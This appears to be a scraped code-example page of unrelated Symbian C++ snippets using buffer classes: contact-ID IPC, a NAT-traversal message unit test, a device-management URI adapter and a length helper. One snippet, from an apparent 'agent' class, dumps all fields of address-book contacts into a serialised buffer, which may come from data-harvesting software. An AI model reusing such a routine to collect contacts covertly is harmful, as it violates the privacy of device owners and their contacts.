void RContactRemoteView::GetContactIdsL(const CArrayFix<TInt>& aIndexes, CContactIdArray& aContactIds)
    {
    CBufBase* buffer = CBufFlat::NewL(32);
    CleanupStack::PushL(buffer);
    RBufWriteStream writeStream(*buffer);
    CleanupClosePushL(writeStream);

    const TInt count = aIndexes.Count();
    writeStream.WriteUint32L(count);
    for (TInt i=0; i<count; ++i)
        {
        writeStream.WriteUint32L(aIndexes[i]);
        }
    writeStream.CommitL();
    CleanupStack::PopAndDestroy(&writeStream); //writeStream.Close()


    TPtr8 indexes(buffer->Ptr(0));
    const TInt bufferSize = buffer->Size();
    TPckg<TInt> size(bufferSize);
    
    HBufC8* buf=HBufC8::NewLC(bufferSize);
    TPtr8 ids(buf->Des());
    
    TIpcArgs args(&size, &indexes, &ids);
    User::LeaveIfError(SendReceive(ECntGetContactIds,args));


    RDesReadStream readStream(ids);
    CleanupClosePushL(readStream);
    CContactIdArray* array = CContactIdArray::NewLC();
    readStream >> *array;

    const TInt arrayCount = array->Count();
    for(TInt loop=0;loop<arrayCount;loop++)
        aContactIds.AddL((*array)[loop]);

    CleanupStack::PopAndDestroy(4,buffer); //array, &readStream, buf, buffer
    }
TBool UT_CNATFWUNSAFMessage::CompareEncodedUNSAFMessage(
    const TUint8* aExpectedResult,
    CBufBase& aUNSAFMessage,
    TUint aMaxBytesToCompare,
    TUint& aFirstDifference,
    TUint8& aExpected,
    TUint8& aActual)
    {
    TPtr8 unsafMessage = aUNSAFMessage.Ptr(0);

    for (TInt i=0; i < aUNSAFMessage.Size() && i < aMaxBytesToCompare; ++i)
        {
        if (aExpectedResult[i] != unsafMessage[i])
            {
            aFirstDifference = i;
            aExpected = aExpectedResult[i];
            aActual = unsafMessage[i];

            return EFalse;
            }
        }
    return ETrue;
    }
//Encode UNSAF message with one attribute
void UT_CNATFWUNSAFMessage::TestEncode2L()
    {
    const TUint8 KExpectedResult[] =
        {
        0, 1, //UNSAF message type: Binding Request
        0, 0x18, //Message length (one MAPPED-ADDRESS attribute)
        0x21, 0x12, 0xa4, 0x42, //Magic cookie
        0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID

        //MAPPED-ADDRESS attribute
        0, 1, //type
        0, 0x14, //length of value element
        0, //undefined
        2, //family IPv6
        0x00, 0x00, //port
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00 //address
        };

    TInetAddr addr(0x00000000, 0x0000);
    CNATFWUNSAFMappedAddressAttribute* attr =
        CNATFWUNSAFMappedAddressAttribute::NewLC(addr);

    iMsg->AddAttributeL(attr);
    CleanupStack::Pop(attr);


    CBufBase* msg = iMsg->EncodeL();

    CleanupStack::PushL(msg);
    EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 24 == msg->Size());
    CompareEncodedUNSAFMessageL(KExpectedResult, *msg);

    CleanupStack::PopAndDestroy(msg);
    }
Пример #28
0
HBufC8* CAgentAddressbook::GetContactBufferL(const CContactItem& item)
	{
	CContactItemFieldSet& fields = item.CardFields();

	if (ContainsEmptyField(fields))
		{
		// This item has been removed but has not been deleted from the database yet
		__FLOG(_L("Skip Item: Contains Empty Fields"));
		return HBufC8::NewL(0);
		}

	if (item.IsDeleted())
		{
		__FLOG(_L("Skip Item: Deleted"));
		return HBufC8::NewL(0);
		}

	__FLOG(_L("DumpContactItem"));

	//create buffer	
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);

	for (TInt i = 0; i < fields.Count(); i++)
		{
		const CContactItemField& itemField = fields[i];
		if (itemField.IsDeleted())
			{
			__FLOG(_L("Skip IsDeleted"));
			continue;
			}
		RBuf buf(ReadFieldAsTextL(itemField));
		buf.CleanupClosePushL();
		if (buf.Length() > 0)
			{
			TContactEntry intType = (TContactEntry) GetTypeFromItemField(itemField);
			__FLOG_1(_L("Type: %d"), intType);
			__FLOG(buf);

			// 1st byte is the Type and next 3 bytes are the Length
			
			TUint32 typeAndLen = intType << 24;
			typeAndLen += buf.Size();
			TUint8* dataPtr = (TUint8 *) buf.Ptr();
			buffer->InsertL(buffer->Size(), &typeAndLen, sizeof(typeAndLen));
			buffer->InsertL(buffer->Size(), dataPtr, buf.Size());
			
			}
		CleanupStack::PopAndDestroy(&buf);
		}

	// adds header data to buffer
	THeader header;
	header.dwSize += buffer->Size();
	header.lOid = item.Id();
	buffer->InsertL(0, &header, sizeof(header));

	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	return result;
	}
void  CNSmlDmDevDetailAdapter::ChildURIListL( const TDesC8& aURI, 
                                              const TDesC8& /*aLUID*/, 
                                              const CArrayFix<TSmlDmMappingInfo>& /*aPreviousURISegmentList*/, 
                                              const TInt aResultsRef, 
                                              const TInt aStatusRef )
    {
    _DBG_FILE("CNSmlDmDevDetailAdapter::ChildURIListL(): begin");
    CSmlDmAdapter::TError retValue = CSmlDmAdapter::EOk;
    CBufBase *currentURISegmentList = CBufFlat::NewL(64);
    CleanupStack::PushL(currentURISegmentList);

    TInt ret = aURI.LocateReverse(KNSmlDMDevDetailSeparator()[0]);
    if ( ret == KErrNotFound ) 
        {
        ret = -1;
        }
    TInt len = aURI.Length() - ( ret + 1 );
    TPtrC8 segment = aURI.Right( len );

    if ( segment == KNSmlDMDevDetailNodeName )
        {
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailDevTypNodeName() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailOEMNodeName() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailFwVNodeName() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSwVNodeName() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() );
         currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailHwVNodeName() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailLrgObjNodeName() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() );
         currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailURINodeName() );
        }
    else
    if ( segment == KNSmlDMDevDetailURINodeName )
        {
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailMaxDepthNodeName() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailMaxTotLenNodeName() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() );
        currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailMaxSegLenNodeName() );
        }
    else
        {
        retValue = CSmlDmAdapter::EError;
        }

    iDmCallback->SetStatusL(aStatusRef,retValue);
    iDmCallback->SetResultsL(aResultsRef,*currentURISegmentList,KNullDesC8);
    CleanupStack::PopAndDestroy(); //currentURISegmentList;
    _DBG_FILE("CNSmlDmDevDetailAdapter::ChildURIListL(): end");
    }
Пример #30
0
// -----------------------------------------------------------------------------
// CNATFWUNSAFMessage::SetMessageLength
// UNSAF message length does not include the NATFWUNSAF header
// -----------------------------------------------------------------------------
//
void CNATFWUNSAFMessage::SetMessageLength(CBufBase& aNATFWUNSAFMessage)
{
    SetMessageLength(aNATFWUNSAFMessage,
                     aNATFWUNSAFMessage.Size() - EHeaderSize);
}